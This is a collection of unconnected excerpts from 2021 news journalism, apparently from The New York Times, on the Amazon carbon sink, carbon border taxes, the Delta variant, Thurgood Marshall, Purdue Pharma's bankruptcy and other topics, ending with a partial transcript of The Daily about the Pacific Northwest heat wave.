By managing the forests with carbon sequestration, hydrology and biodiversity in mind, he said, you get multiple benefits. Referring to the changes to the Amazon, he said its come a lot sooner than anybody thought 30 years ago because of the extensive use of fire and climate change. But put some water in there, and it will change.

Any changes may be long in coming and will face political opposition. Brazils president, Jair Bolsonaro, has overseen skyrocketing deforestation in the Amazon. The government, under increasing pressure, has recently announced plans to counter the trend, but spikes in deforestation have continued.

In an accompanying article in Nature, Scott Denning, a professor in the department of atmospheric science at Colorado State University wrote that the papers atmospheric profiles show that the uncertain future is happening now.

In an emailed response to questions, Dr. Denning praised the new study as the first real large-scale measurement  from various altitudes across thousands of kilometers and remote sectors  of the phenomenon, an advance beyond the traditional measurement at forest sites. The results show that warming and deforestation in eastern Amazonia have reversed the carbon sink at regional scale and that the change is actually showing up in atmospheric CO2, he wrote.

The research flights could be grueling. Dr. Gatti said that she took Dramamine before flights, but one colleague refused to get into the plane, saying that his wife was pregnant and its too risky. She replied, I have two kids!
Carbon border taxes are also designed to protect domestic manufacturing. If an individual country commits to cutting emissions domestically, it runs the risk that, for instance, its steel and cement factories will face higher costs and be at a disadvantage to foreign competitors with looser environmental rules. Steel and cement production could shift overseas as a result, undercutting the climate policy, since foreign factories would be emitting just as much or more carbon dioxide elsewhere.

This legislation will assert American leadership on the climate crisis, but we also cant be Uncle Sucker where other countries, led by China, take advantage of what we are going to ask our country to undertake, Mr. Markey said.

Senator Chuck Schumer of New York, the majority leader, said he included the tariff because it prevents other countries from polluting.

China is the worlds top emitter of greenhouse gases that are driving global warming, followed in descending order by the United States, the European Union, India, Russia, Japan, Brazil, Indonesia, Iran and Canada.

Scientists have warned that the world needs to urgently cut emissions if it has any chance to keep average global temperatures from rising above 1.5 degrees Celsius, or 2.7 degrees Fahrenheit, compared with preindustrial levels. Thats the threshold beyond which experts say the planet will experience catastrophic, irreversible damage. Temperature change is not even around the globe; some regions have already reached an increase of 2 degrees Celsius.

President Biden has promised to cut the United States greenhouse gas emissions by 50 to 52 percent below 2005 levels by 2030. The White House did not immediately respond to a request for comment. A Senate leadership aide said the Biden administration has raised the idea of a carbon border tax with lawmakers. Earlier this year, it floated the notion of taxing carbon-intensive imports as part of a broader trade policy.

The budget resolution is yet to be written. That work will be done by various committees in the coming months.
Right now, most industries in the E.U. are covered by a program that charges polluters for the carbon dioxide they emit. Known as the Emissions Trading System, the program sets a cap on overall emissions and steadily tightens that cap over time. Large polluters must procure permits for every ton of carbon dioxide they emit, and the number of permits dwindles over time, driving up the price. Currently, the price of those permits is nearly $60 per ton, giving European companies a hefty financial incentive to cut emissions.

The E.U. is now proposing to tighten that cap further, while phasing out the number of free allowances it has long given to industries exposed to trade competition, like steel. The aim is to help slash the E.U.s overall greenhouse gas emissions 55 percent below 1990 levels by 2030.

To meet that target, many of Europes industries may have to make drastic and costly changes. Steel producers like ArcelorMittal are experimenting with ways to use hydrogen instead of fossil fuels in their furnaces, though they warn that such upgrades could cost tens of billions of dollars.

Thats where the proposed carbon border tax would come in. Companies abroad that wanted to sell cement, iron, steel, aluminum, fertilizer or electricity to the E.U. would also be required to pay that price for each ton of carbon dioxide they emit in making their products. The idea would be to level the carbon playing field.

The border tax would not take effect until 2026. European officials are proposing a phase-in period where they would try to figure out how the border tax would work in practice, giving time for other countries to prepare.

The countries that would potentially be most affected include Russia, Turkey, China, Britain and Ukraine, which collectively export large amounts of fertilizer, iron, steel and aluminum to the European Union. The United States sells significantly less steel and aluminum to Europe, but could also see an impact.
As the Delta variant of the coronavirus spreads and the rate of new vaccinations slows, the conflict within the profession has become more consequential. The United States is administering about 530,000 doses per day on average  compared with a peak of more than three million in April  and while case numbers are low nationally, they are spiking in states like Missouri and Arkansas, where vaccination rates are lagging.

Many fields of alternative medicine are home to anti-vaccination sentiment, but chiropractic is one of the most popular of those fields, and its tensions are more in the open. More than 35 million Americans visit a chiropractor each year, according to the American Chiropractic Association. And even though chiropractors arent required to receive specialized training in infectious diseases  they must attend chiropractic school, not medical school  many patients look to them for medical advice.

Professor Caulfields research has found that people who are attracted to alternative therapies like chiropractic are also the people who are likely to be susceptible to misinformation, he said. If youre open to alternative medicine, youre also more likely to be attracted to anti-vaccination rhetoric, so the ideas cluster.

Annette Bernat, a spokeswoman for the American Chiropractic Association, said the group encouraged members to follow C.D.C. guidance on Covid-19 prevention and supported evidence-informed care and generally accepted best practices based on current, high-quality research, but had no stance on vaccines.

But several state organizations said it could be appropriate for chiropractors to weigh in on vaccinations or other medical issues outside their scope of practice.

The Arizona Association of Chiropractic  one of 11 reached for this article  said individual chiropractors were free to make their own decision with regard to the efficacy of vaccinations.

Speaking for himself and not on behalf of the organization, James Bogash, a board member, argued that vaccination should be an individual choice based on risk tolerance and said scientists could not yet know the vaccines long-term effects.
In previous waves, there was a neat, linear relationship between the number of infections, hospitalizations and deaths in the United States. Fortunately, those patterns do not hold for the Delta variant, because a large proportion of people at the highest risk now have been inoculated.

The country also opened vaccinations up to all adults, and even to 12- to 17-year-olds, which may break chains of transmission more effectively than in Britain.

The AstraZeneca vaccine dispensed in Britain appears to be less effective at preventing infections with Delta than the mRNA vaccines in wider use in the United States. That, too, could give the United States an advantage over the variant.

Because of Deltas partial ability to undermine the immune system, the rate of breakthrough infections  cases that occur despite vaccination  with the variant appears to be greater than with previous forms of the virus, except for Beta.

Many experts have worried that even mild infections raise the risk of so-called long Covid, the constellation of symptoms that can persist months after an active infection is resolved. That raised a horrifying prospect: a surge in long-term illness throughout unvaccinated regions.

But many scientists now believe that breakthrough infections are unlikely to cause the syndrome. When a vaccinated person is infected, the virus may go through a few rounds of replication, but the immune response is so quick and so robust that it basically stops the infection in its tracks, said Angela Rasmussen, a virologist at the Vaccine and Infectious Disease Organization at the University of Saskatchewan in Canada.
Of course, the opposition, led by Southern Democrats, worried most about how he would vote as a justice. Back then, the liberal position in our politics was that such inquiries were beyond the purview of the Senate. Fred Graham, writing in The Times, argued that because there existed widespread agreement that it was improper to discuss the nominees ideological position on current issues, the hearings tended to degenerate into exercises in political flapdoodle that detract from the dignity of both the Senate and the nominee.

Marshall agreed. At his confirmation hearings, when pressed by opponents on controversial Supreme Court decisions, he took refuge repeatedly in the principle that he should not discuss cases that might come before him. This was no confirmation conversion. Marshall adopted this view long before there existed the remotest prospect that he himself would one day sit on the court. In 1937, he joined the N.A.A.C.P. in supporting the confirmation of Hugo Black, when some people worried that his former opposition to anti-lynching legislation  or more important, his rumored Ku Klux Klan membership  would lead him to vote against civil rights plaintiffs. (It didnt.) In 1949, as the left geared up for an all-out effort to prevent the appointment of Tom Clark, who as attorney general maintained the governments list of dangerous subversives, Marshall dissented. (Marshall could scarcely have imagined that 18 years later, he himself would be Clarks successor.) In our conversations, the Judge never wavered from the view that the likely votes of a potential justice were none of the Senates business.

Which is not to say that Marshall himself didnt care. At the time we began the oral-history interviews in 1992, the hearings on Clarence Thomass nomination to succeed him had recently concluded. Most of what the Judge had to say about Thomas was off the record. Still, its hardly news that he would have preferred a successor with views somewhat closer to his own. But there was one point he emphasized repeatedly, harking back, perhaps, to his own bitter experience:

Grilling the nominee about potential votes was a terrible idea.

A racist image of Marshall as lazy and disengaged lingers, fed perhaps by his cartoonish portrayal in The Brethren, a behind-the-scenes account of the Supreme Court by the journalists Bob Woodward and Scott Armstrong that was published the year before I began my clerkship. The Marshall of the book rarely gave the cases before him much thought and was more interested in soap operas than the work of the court. The Judge was wounded, but not because most of what the book had to say about him was absurd. His skin had always been thick. He had endured far worse  and not only from the Dixiecrats who fought viciously but unsuccessfully to keep him off the Supreme Court.

In 1961, for example, when President Kennedy nominated him to a seat on the United States Court of Appeals for the Second Circuit, the American Bar Association declined to give him its highest rating. Marshall shrugged off the predictable insult from an organization that just 11 years earlier refused to admit Black members. During his nearly four years on the appellate bench, he wrote 112 majority opinions without a single reversal.

But insults werent the worst of it. The first major civil rights case he ever tried, against the University of Marylands lily-white law school, prompted death threats. He pressed on and won. (The color bar had been firmly in place when Marshall, a Baltimore native, applied to law school, and decades later he was still bitter.) During the decades he spent crisscrossing the South and Midwest, trying civil rights and criminal cases, often for little or no remuneration, menacing letters and phone calls became commonplace.

The intimidation was more than mere background noise. On a dark Tennessee night in November 1946, Marshall came within mere minutes of being lynched. (More on that in a moment.) Years later, during his confirmation hearings for the Court of Appeals, he would face angry grilling over his public suggestion that the Ku Klux Klan was in league with the devil. He didnt back down.
Did the experience make you more careful about what you say, whether on social media or in general?

Yes and no. Im more considerate of peoples feelings today. I had talked about this a lot before those tweets were [resurfaced]. They are awful things, thats what my sense of humor was back then. But before this ever happened, I realized that I had closed myself off to things I thought were schmaltzy because I didnt want to be vulnerable. This attitude  I can make a joke about anything, look how great I am  thats just not the fullness of me as a human being. And I learned that long before I got called out for the tweets.

The term wasnt as prevalent at the time, but do you think you were a victim of what people now call cancel culture?

I understand peoples preoccupation with that term. But its such a bigger issue than that. Because cancel culture also is people like Harvey Weinstein, who should be canceled. People who have gotten canceled and then remain canceled  most of those people deserved that. The paparazzi are not just the people on the streets  theyre the people combing Twitter for any past sins. All of that sucks. Its painful. But some of it is accountability. And that part of it is good. Its just about finding that balance.

When you see someone else now being punished for things theyve posted online, are you sympathetic?

Even when the person has done something terrible, I still feel sympathy for that person. Because Im a compassionate person and its part of my faith. Sometimes things get taken out of context. And sometimes somebody did something when they were in college  its 20 years later, theyve lived a great life, its just too much. And then sometimes you read, oh, well, what he did was pretty awful.

When did you start to realize that things werent quite as dire? Did the public support of your Guardians actors make the difference?
The surveillance video captures a brutal scene: A woman is thrown down a flight of stairs and smacks into the subway platform violently enough to fracture a bone in her face. It was May 28, and the woman, in her 60s, was among dozens of people attacked during a spate of anti-Asian violence this year.

It may not even have been the first such attack by the suspect, John Chappell, a law enforcement official said. Two months earlier, Mr. Chappell, who had dozens of prior arrests, had been suspected of lighting an Asian womans backpack on fire, the official said. He was released just days after his arrest in May.

Six months into a series of brutal attacks on people of Asian descent across the city, Mr. Chappells case underscores the challenges the police and prosecutors have faced in both preventing the violence and punishing those responsible.

Many of the attacks are unpredictable and carried out by people in the throes of mental health episodes, seemingly at random. Officials say they doubt many of the hate crime charges related to the attacks will stick in court, and those arrested are often released quickly. And the Police Department appears to have scaled back its efforts to stop them: An undercover unit intended to prevent anti-Asian attacks has not been active since May after officers faced threats of violence themselves.
Fueled by the Delta variant, daily coronavirus case counts in New York City have begun climbing in recent days, even as the city seems determined to turn the page on the pandemic.

Just a few weeks ago, there were only 200 new cases a day across the city on average, the lowest level since the early days of the pandemic. But the city has now had a streak of days with 400 or more cases. And the test positivity rate has doubled: from below 0.6 percent on average to about 1.3 percent.

Those numbers are still low, but the increase has been swift, surprising some epidemiologists and public health officials who had not expected to see cases jump so quickly after remaining level throughout June.

Still, with some 64 percent of adults in the city fully vaccinated, epidemiologists said it was unlikely that the Delta variant would create conditions anywhere near as devastating as the past two waves of Covid-19.
Yet the Sacklers were unchastened. Last year, Purdue pleaded guilty to a new set of felony charges related to the marketing of OxyContin. Once again, none of the Sacklers were charged criminally; instead, they agreed to pay a relatively meager $225 million to settle a civil investigation, without any admission of wrongdoing. Astonishingly, prosecutors appear to have settled with the Sacklers without ever bothering to interview them. Asked in a deposition whether any of the Sacklers had direct contact with the D.O.J. in connection with the investigation, David Sackler, who served on Purdues board from 2012 to August 2018, replied, I do not believe that any of them have.

This time, no individual executives were charged even with misdemeanors. Instead, the Justice Department informed the prosecutors on the case that it wanted to deal with Purdue quickly. In October, administration officials announced that Purdue had reached an $8 billion settlement with the government. This sounded impressive  except that the company didnt have $8 billion, because by then it had filed for bankruptcy.

How could a corporation with a product that has generated an estimated $35 billion in revenue end up filing for bankruptcy? One answer is that by the time Purdue filed for Chapter 11, in 2019, it was being sued by practically every state in the country and thousands of other claimants. But there is another, more relevant explanation.

By 2007, the Sacklers seem to have realized, as David Sackler noted, that eventually one lawsuit might get through to the family. They started pulling money out of Purdue and securing it in their own accounts, many of them overseas. According to an audit report, from 2008 to 2017 they took out over $10 billion. (Family members have said the transfers were proper.) In 2019, with Purdue engulfed by lawsuits, the company sought protection in bankruptcy court.

It is difficult to overstate the fiendish brilliance of this move. Now the company would be shielded from all those lawsuits while restructuring its debts. Of course, at this point some of the lawsuits had broken through: More than two dozen states had filed suit against individual Sackler board members. But the Sacklers and Purdue requested that the bankruptcy judge freeze any lawsuits against family members  even though the family had not declared bankruptcy.

American corporations can pick the jurisdiction where they file for bankruptcy and, thus, often the judge who determines their fate. Even though Purdue has never had any real business presence in White Plains, N.Y., that is where it filed its bankruptcy case. Purdue has maintained that this choice was driven by proximity to the companys headquarters in Stamford, Conn. But it may also have been relevant that only one federal bankruptcy judge presides in White Plains: Robert Drain. In the past, he indicated a willingness to shield from litigation certain parties who had not even filed for bankruptcy in his court. He promptly granted the request, temporarily protecting the Sacklers from those suits.

Judge Drain is known for prizing deal making and efficiency and has tried to seal off the proceedings from the messy imperatives of justice and accountability. As an army of lawyers haggled over the carcass of Purdue, the Sacklers advocated a global resolution, a single deal that would address all of the claims against the company and the family. Their offer: $4.5 billion, with no admission of wrongdoing by the family and permanent immunity from any future civil liability related to the opioid crisis.
HOUSTON  Should we be getting out of here? This is the question my husband, a Virginia native, has asked with growing frequency as he scans the daily headlines at our breakfast table here.

He is not alone. Many of my friends and acquaintances, longtime Texans, including but not limited to die-hard Democrats, are asking themselves the very same thing. Each morning, they wake up to a place they no longer recognize.

In particular, the natural optimism of Texans  part of what we are so proud of and what has made us exceptional (or made us think we were)  has never, in my lifetime, been more under threat.

The culmination of events that brought us to this point was the 87th session of the Texas Legislature. Abortion will be effectively illegal here, with citizens empowered to sue the doctors who perform them and the clinics where they work. Most adults will be able to carry handguns without a permit. Teachers will be restricted in how they can discuss current and past events. The only reason a voter-suppression bill did not pass is that the Democrats took a powder at the last minute to prevent a quorum. (They have done so again, and we dont know how the sequel will end.)
Its a scary thing for people. We dont know a lot about the brain and dont want to think that it might not go back, Dr. Barha said. But it doesnt need to go back. It shouldnt go back because its changed. Its evolved.

Yes, we might have trouble recalling certain words or remembering the name of an obscure actor, but there are plenty of silver linings to the ways mothers brains change, Dr. Barha said. The upsides can include a heightened capacity to stay calm and focused during stressful situations, the ability to interpret what different newborn cries mean, and enhanced vigilance around potential dangers.

Ms. Tucker cited a study published in 2016 that found that mothers who showed the biggest drops in gray-matter volume also reported the warmest relationships with their babies. Were paying attention to this nonverbal creature and are entirely focused on that, Ms. Tucker said.

I hadnt considered that perspective. My baby isnt looking for me to have a robust vocabulary at this stage. Shes relying on me for comfort, protection and care  to pick up on her myriad nonverbal cues.

Still, that doesnt mean that mommy brain isnt frustrating or even frightening when it happens. I sometimes worry about how these cognitive changes might impact my work performance and know other mothers who share similar concerns.

Dr. Galea and Dr. Barha, who both live in Canada, where maternity leave is much longer than the 10-week average in the United States, said those fears are valid. Still, they urge new mothers to try not to worry too much about their cognitive abilities. I think we need to get away from that idea that these changes are bad, Dr. Galea said. When you look later on in life, you actually see some really positive changes that occur in terms of memory and in terms of the plasticity of the brain.

In a study published in 2019, Dr. Galea, along with researchers Paula Duarte-Guterman and Benedetta Leuner, discovered that female rodents got better at completing mazes after they weaned their pups, which suggests that, with time, mothers brains improve. This is one of the major messages: Our brains actually get better, Dr. Galea said.
That sense of community seems hard won. For years, Mr. Schneiders and his wife, Karen Alsen, 35, the education director for an environmental nonprofit, would take weekend reconnaissance missions to scout potential future homes. Then 2020 hit, bringing two events that put a plan into action. One, obviously, was Covid-19, which allowed Ms. Alsen to work remotely. The other, last June, was the birth of a son.

Quickly, the couple whittled their list to two finalists: northern Vermont and the mid-Hudson Valley. The latter won out because it was closer to family and work.

In May, despite intense competition, the couple snagged a three-bedroom house with three bathrooms and radiant-heated floors on more than seven acres, for $559,000. Theres also a barn, which makes me feel like I need to take up a hobby, Mr. Schneiders joked.

If that pastime involves agriculture, hell be in good company. Much of Red Hooks gentle terrain is checkered with farms, especially between Routes 9 and 9G, where the pairing of pastures and Catskills can seem worthy of a painting.
On July 2, a heavy fog hung above San Francisco City Halls gold-embellished dome. Yet inside there was not a trace of gloom.

Couples posed for photos on the pink-hued stairs on their way to the Rotunda, where volunteer officiants resumed performing civil marriages on June 9. Appointments are booked solid and as coveted as toilet paper once was, but additional slots will be added as Covid restrictions lift, said Diane Rea, the county clerk.

By early afternoon on that July day, the sun had broken through the clouds and newlyweds spilled onto Civic Center Plaza ready for the holiday weekend and all that happens after I do.
Its worth noting that these transparency efforts are voluntary, and could disappear at any time. There are no regulations that require Facebook or any other social media companies to reveal what content performs well on their platforms, and American politicians appear to be more interested in fighting over claims of censorship than getting access to better data.

Its also worth noting that Facebook can turn down the outrage dials and show its users calmer, less divisive news any time it wants. (In fact, it briefly did so after the 2020 election, when it worried that election-related misinformation could spiral into mass violence.) And there is some evidence that it is at least considering more permanent changes.

This year, Mr. Hegeman, the executive in charge of Facebooks news feed, asked a team to figure out how tweaking certain variables in the core news feed ranking algorithm would change the resulting Top 10 lists, according to two people with knowledge of the project.

The project, which some employees refer to as the Top 10 project, is still underway, the people said, and its unclear whether its findings have been put in place. Mr. Osborne, the Facebook spokesman, said that the team looks at a variety of ranking changes, and that the experiment wasnt driven by a desire to change the Top 10 lists.

As for CrowdTangle, the tool is still available, and Facebook is not expected to cut off access to journalists and researchers in the short term, according to two people with knowledge of the companys plans.

Mr. Boland, however, said he wouldnt be surprised if Facebook executives decided to kill off CrowdTangle entirely or starve it of resources, rather than dealing with the headaches its data creates.

Facebook would love full transparency if there was a guarantee of positive stories and outcomes, Mr. Boland said. But when transparency creates uncomfortable moments, their reaction is often to shut down the transparency.
Nearly a year ago, Playwrights Horizons new artistic director Adam Greenfield unveiled a four-play season for 2021, with all the titles directed by women and written by nonwhite authors.

All four titles  Aleshea Harriss What to Send Up When It Goes Down, Sylvia Khourys Selling Kabul, Dave Harriss Tambo & Bones, and Sanaz Toossis Wish You Were Here  now have opening dates as part of Playwrights Horizons 2021-22 season, which is set to begin in September. And the lineup has an exciting addition: Next summer, the nonprofit theater on West 42nd Street will present the world premiere of the Pulitzer Prize finalist Will Arberys Corsicana, directed by Sam Gold.

I wanted to make good on the plays we had already scheduled and show that I was committed to these writers, Greenfield, who is now in his second year as artistic director, said in a phone conversation on Tuesday. Each of these pieces demands to be heard.

Arbery, who was a finalist for the Pulitzer Prize for Drama for Heroes of the Fourth Turning, his depiction of contemporary conservatism that premiered at Playwrights Horizons in 2019, is set to return to the nonprofit Off Broadway theater in June 2022 with Corsicana. The play tells the story of a woman with Down syndrome and her younger half brother as they grapple with their mothers death in a small city in Texas and become entangled with a reclusive local artist. It will be directed by Gold, who won a Tony Award for helming Fun Home on Broadway and will also direct a staging of Chekhovs Three Sisters at New York Theater Workshop in its 2022-23 season that had originally been planned for 2020, and whose starry cast includes Greta Gerwig and Oscar Isaac.
Delta and Americas vaccine divide

The Delta variant now accounts for more than half of the infections in the U.S. As it spreads, cases, hospitalizations and deaths are rapidly increasing in places with low vaccination rates.

To understand the path the virus might take in the coming months, my colleagues Apoorva Mandavilli and Benjamin Mueller drew on data from overseas, particularly in Britain. They found that the highly infectious variant will widen the gap between the American communities where most people are vaccinated, and those where most are not.

If you are unvaccinated, you are at great risk from Delta, Apoorva said. Delta is extremely contagious and weve seen it tear through country after country, and it will do the same wherever there are pockets of unvaccinated people in the United States.

Here are more takeaways:

Spikes, but with fewer deaths: As in Britain, the variant may cause a surge in cases, but hospitalizations and deaths are likely to be much lower in the U.S. than with previous outbreaks. Thats because the average age of those infected has shifted downward, and younger people tend to have mild symptoms.
michael barbaro

From The New York Times, Im Michael Barbaro. This is The Daily.

[music]

Today: Record-breaking climate extremes are blanketing the United States this summer  from heat, to drought, to wildfires. Astead Herndon spoke with our colleagues, Sergio Olmos, about the historic heat wave that scorched the Pacific Northwest, and to Henry Fountain about how much climate change is to blame. Its Wednesday, July 14.

astead herndon

Sergio, I feel like Portland has been basically at the center of every national news story recently.

sergio olmos

Well, we had a pretty extreme year in Portland. We had Covid shutdowns, 100 days of consecutive protests. Then we had historic wildfires where the sky just turned red. And then, finally, the city is starting to open back up again. Covid restrictions are starting to get lifted. People are starting to come out of their houses, go to restaurants, go to bars, and regular life was resuming a little bit. And then this massive heat wave just descends on the Pacific Northwest in late June.

archived recording The Northwest bracing for record-breaking and potentially life-threatening heat this weekend. Dozens of records, some of them decades-old are expected to fall 

sergio olmos

Its Oregon, Washington and parts of Western Canada, and it brings this punishing heat.

archived recording 1 Portland hit an all-time record high of 112 earlier today. archived recording 2 Today in Portland, Oregon, temperatures soared to 114 degrees. archived recording 3 Portland hit 116 degrees Fahrenheit on Monday, making it one of the hottest places in the world.

sergio olmos

In Portland, we saw temperatures for three days in a row break record after record, and it finally got to 116 degrees.

archived recording This is some serious heat. Average temperatures this time of year  lower and middle 70s. Were talking about 

sergio olmos

You know, 116 degrees is like 40 degrees above what it should normally be for this time of the year.

astead herndon

Wow.

sergio olmos

And thats 9 degrees above the previous record of 107.

archived recording Many people that are not used to relying on air conditioning are needing to seek out cooling centers to stay safe.

sergio olmos

And so we see Portland thrown back into this state of emergency, right? Just like Covid or the protests, the wildfires  everything shuts down. No ones outside. And this time, its a different catastrophe. Its heat.

astead herndon

I know reporters have this weird experience, where people are staying in, and you run out. And I know that that is a reporters shared instinct. But can you describe what it was like over those last couple of weeks? What has it felt like, just physically being in that level of heat?

sergio olmos

Yeah it felt like, I walk out of the door, and the heat wave hits you. Its like, OK. Feels like Vegas, right? But Im in Portland. This is the Pacific Northwest, where its raining a lot of the time. Its cool. Its not a place you think of to buy an AC. It never gets that hot. Were not used to this. 116-degree weather is something that  the health officer here for the county explained it that bodies acclimate to heat, but it takes time. You cant just acclimate one day to the next, one week into the next. And so yeah, were not acclimated to that, and our infrastructures not built for it. For instance, I was driving around, and just a few blocks from my house, in the middle of the road, the pavement just buckled. It cracked, and it rose up. And the city said it was heat-related. I dont know anything about pavement, Astead, but I assume it wasnt 

astead herndon

Ive never seen it buckle, so youve already got me shocked. [LAUGHS]

sergio olmos

Public transportation here, right? So the city, ahead of time, was like, hey, public transportation is gonna be free this weekend. If you need to get to a cooling center or anything, just get on there. Dont worry about paying for it. But as soon as the heat hit, the streetcars and the trains  they stopped them because the overhead wires for the light rail system were being strained. They were only designed to work in temperatures of up to 110 degrees. And the streetcars  the cables that power them were actually melting.

astead herndon

Wow.

sergio olmos

So the city of Portland paused all trains, all streetcars, at the time they needed them the most. So it was harder for some people just to get to the cooling centers. And theres a socioeconomic aspect to all this. Theres a professor at Portland State University named Vivek Shandas, and he studies climate adaptation. And during the heat wave, he went around Portland with a thermometer. Its not the kind you buy at the store. Its a scientific-grade thermometer. And he took measurements of different parts of Portland, and he found that the wealthiest parts of Portland were, in some cases, 98, 99 degrees. Right? And then he went to the working class parts of Portland, parts of Portland where the highest concentration of people of color, historically, have been disinvested. So not a lot of sidewalk, not a lot of tree covers, a lot of it exposed to sun, and a lot of concrete that just absorbs the suns radiation. He found a reading of 121 degrees in the poorest neighborhoods in Portland.

[music]

And so if you look at that and look at the big picture here, the county released a map of where people died in the city. And in the poorest zip codes, the highest number of deaths occurred. And in the wealthiest zip codes, we had the lowest number of deaths occur.

astead herndon

And what do we know about the people who died? Who are there?

sergio olmos

Right now, at least 193 people have died across Oregon and Washington related to the heat. What we know is that many of the people who died were elderly, living alone, without air conditioning. Others were homeless, and others had underlying health conditions. For example, theres a story of an 84-year-old woman in Washington state, Dorothy Galliano, who was found dead in her home. She lived alone and had no air conditioning. A friend said that she was found with the window cracked open and the TV on, and she just imagined that Dorothy was watching TV, dozed off and just didnt wake up. Another woman, Debra Moore, was found collapsed on the sidewalk just a few steps from a house she was visiting. And the police said that she had serious, underlying health issues. You have the story of a houseless man, Joseph Wade Davis, whos 64. And he had just this tent on the side of the road with PVC pipe and tarp. And he was just discovered dead at 10 a.m. So its a mix of people. Obviously, the most vulnerable, elderly who were living alone without AC, homeless folks  these are the highest number. But there are other people, healthy adults, who also died, and some of them died at work.

sergio olmos [SPEAKING SPANISH] speaker [SPEAKING SPANISH] sergio olmos [SPEAKING SPANISH] speaker [SPEAKING SPANISH]

sergio olmos

Sebastian Francisco Perez  he was the first reported workplace fatality related to the heat. And he died in the Willamette Valley, where he lived and worked. And so I went there to learn more about him. And its like a farmland community there, where they grow a lot of fruit, trees and kind of the breadbasket of Oregon. And I eventually tracked down his brother-in-law and his nephew, and they were working in the field when I find them. And he tells me about Sebastian Francisco Perez.

speaker [SPEAKING SPANISH]

sergio olmos

He came from Guatemala three months ago. He wanted to have children, but he couldnt afford it in Guatemala. Lived just very austere conditions. They grew their food. They didnt have any wages. Came here to try to get some money to start a family.

speaker [SPEAKING SPANISH]

sergio olmos

And he owed a coyote  these are the people that help immigrants cross illegally  he owed them $8,000 for the crossing. Five to front, three after. And so he was desperate to work. And that Saturday, when it was extraordinarily hot  and a lot of farm workers could take the day off, took it.

speaker [SPEAKING SPANISH]

sergio olmos

He asked to work.

speaker [SPEAKING SPANISH]

sergio olmos

He was told by relatives, like, dont do it. Its too hot. He said, no, please. I need the money.

speaker [SPEAKING SPANISH]

sergio olmos

That Saturday, he was moving irrigation lines in a field of trees, and his co-workers, other laborers, found him collapsed among the trees. And they called 911, but they couldnt tell the operator where he was exactly. A lot of the laborers, a lot of them immigrants, they work from farm to farm, and they get brought in together. And they dont necessarily know where they are all the time. So they called his nephew, and they said, hey, hes collapsed on the ground. We dont know what to do.

speaker [SPEAKING SPANISH]

sergio olmos

He tells them, take him to the shade. Im on my way.

speaker [SPEAKING SPANISH]

sergio olmos

And 

speaker [SPEAKING SPANISH]

sergio olmos

Unfortunately, they couldnt resuscitate him. He died that day.

speaker [SPEAKING SPANISH]

[music]

sergio olmos

So this heat wave was kind of an opening salvo to whats going to be a catastrophic season. The west is currently in the midst of a historic drought. Another heat wave is already sweeping across California and the southwest, and fire season has already begun here in Oregon. And this is unprecedented. This is the earliest in the year that Ive covered a wildfire season. Theres a fire right now burning in Oregon. Its uncontained. Its already burned 150,000 acres as of Monday. And nobody expected the season to begin this early or already have been this destructive.

astead herndon

So from one climate disaster to the next?

sergio olmos

Yeah.

[music]

astead herndon

Thank you, Sergio.

sergio olmos

Thank you, Astead.

[music]

michael barbaro

Well be right back.

astead herndon

OK, Henry, Ive been speaking with our colleague who has been reporting on the heat waves out in the West. There was the record-breaking one that happened in June in the Pacific Northwest and another thats underway in California. The question thats running in the back of my head is, how much of what were seeing is related to climate change?

henry fountain

Well, you know, thats the question that journalists and others always ask after a heat wave or other kind of extreme weather event. And its really a central question. So right after the late June heat wave in the Pacific Northwest, in fact, there was actually a group of scientists trying to figure that very question out.

archived recording (friederike otto) Good morning, good afternoon. Thank you very much for joining.

henry fountain

This group is called World Weather Attribution, and they held a press conference on Zoom announcing their findings. It was led by Geert Jan van Oldenborgh and Friederike Otto.

archived recording (friederike otto) In our study, we focus on the hottest day of the year, which is what broke the records and what you will have heard in the news. So the question immediately arose, what is the role of climate change in this event?

henry fountain

They try to figure out a link, if it exists, between the world thats warming and these extreme events, like this really, really bad heat wave. And they try to do it really quickly.

archived recording (friederike otto) We have done this study within a week, and everyone worked nights and weekends and really 

henry fountain

They think that getting it out when its still fresh in peoples minds would help people understand the problem.

astead herndon

And how exactly do they do that analysis? How do they measure the impact of climate change when it comes to a single event?

henry fountain

They use a lot of computers, basically, that run models of the world. They simulate the world. And they run some models with the world as it is today, which is, its warmed about 2 degrees Fahrenheit because weve poured all this CO2 into the atmosphere. They also run models of a world that would exist if we hadnt pumped all that CO2 in the atmosphere  in other words, a world without warming. And then they compare the two results. So for instance, if a heat wave like this had a 1 in 100 chance of occurring in any given year in a world that hadnt warmed, and in a world that warmed it has a 1 in 10 chance of happening in a given year, then you know that climate change had an impact.

astead herndon

So when these scientists ran this model, what did they find?

henry fountain

Well, what youve got to understand about this heat wave  it was really off the charts. It was extraordinary.

archived recording (geert jan van oldenborgh) Weve never seen a jump in record temperature like the one in this heat wave, as far as I can remember.

henry fountain

And when they ran the analysis, the results were clear.

archived recording (friederike otto) There is absolutely no doubt that climate change played a key role here.

henry fountain

This extreme heat wave in this place would have been impossible before we started warming the world.

archived recording (friederike otto) It means that, without the additional greenhouse gases in the atmosphere, such an event just does never occur. Or if it occurs, it occurs once in a million times, which is the statistical equivalent of never.

henry fountain

So it was still a rare event, but 100 years ago, it was an impossible event. And thats because the world has warmed.

archived recording (friederike otto) So heat waves are increasing in likelihood by orders of magnitude  more than any other type of extreme event.

henry fountain

And what these researchers have also found is that heat waves are more affected by climate change than any other extreme weather.

archived recording (friederike otto) So for any other type of extreme event, we do see extreme rainfall or droughts. We do see an increase maybe by a factor of four, but for heat waves, we see orders of magnitude. So this event was made at least 150 times more likely.

henry fountain

And she said that heat waves, more than any other type of climate-related natural disaster, are not only more likely, but they also tend to kill more people.

archived recording (friederike otto) And, yeah. And I think this is really  heat waves is how climate change kills us today. I think this is how climate change manifests most strongly.

henry fountain

Just think about it. A flood might affect a relatively small region, area near a river, whatever. But a heat wave can cover a huge amount of area. In this Pacific Northwest heat wave that ended in the end of June, everybody in Oregon, everybody in the state of Washington, and most of the people in British Columbia were affected. So I think the researchers estimated that that was something like nine million people, and thats really a lot of potential victims of extreme heat. And so all of this has these scientists concerned.

archived recording (geert jan van oldenborgh) We feel that we do not understand heat waves as well as we thought we did.

henry fountain

You know, Ive covered a bunch of these attribution studies, and Ive talked to a lot of scientists about them. And normally, its pretty straightforward. But theres one thing Dr. Van Oldenborgh said that really struck me, and I frankly I kind of found it alarming.

archived recording (geert jan van oldenborgh) I think most of us, or all of us, have just dialed down our certainty of how heat waves behave. We are much less certain about how the climate affects heat waves than we were two weeks ago.

henry fountain

